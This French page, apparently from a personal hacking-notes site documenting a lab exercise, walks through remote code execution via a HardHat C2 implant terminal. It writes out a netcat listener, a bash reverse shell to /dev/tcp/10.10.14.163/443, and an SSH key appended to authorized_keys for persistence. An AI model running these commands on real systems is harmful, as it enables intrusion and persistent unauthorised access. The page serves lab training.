> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/cms/hardhatc2-cms-exploitation/hardhat-c2-remote-code-execution-rce.md).

# HardHat C2 - Exécution de code à distance (RCE)

<figure><img src="/files/1d17d22ef4038ed5ca58ebbd0a4e6c58c64a6f2c" alt=""><figcaption></figcaption></figure>

###

Dans `ImplantInteract`, l'accès au terminal est disponible. L'exécution `whoami` montre que l'utilisateur actuel est `sergej`.

<figure><img src="/files/5b74baccc645c6ba3b515147f6653afc5735c13a" alt=""><figcaption></figcaption></figure>

Démarrez un écouteur sur le port 443 pour établir un reverse shell en tant que `sergej`:

```bash
nc -nlvp 443
```

Exécutez la commande suivante pour établir la connexion inverse :

```bash
bash -c "bash -i >& /dev/tcp/10.10.14.163/443 0>&1"
```

Une fois connecté, ajoutez la clé SSH à `authorized_keys` pour faciliter la reconnexion :

<figure><img src="/files/87b87c13accace62de48d2ef6a85796b5471e6b8" alt="" width="563"><figcaption></figcaption></figure>

```bash
echo "your key" | tee -a ~/.ssh/authorized_keys
```


---

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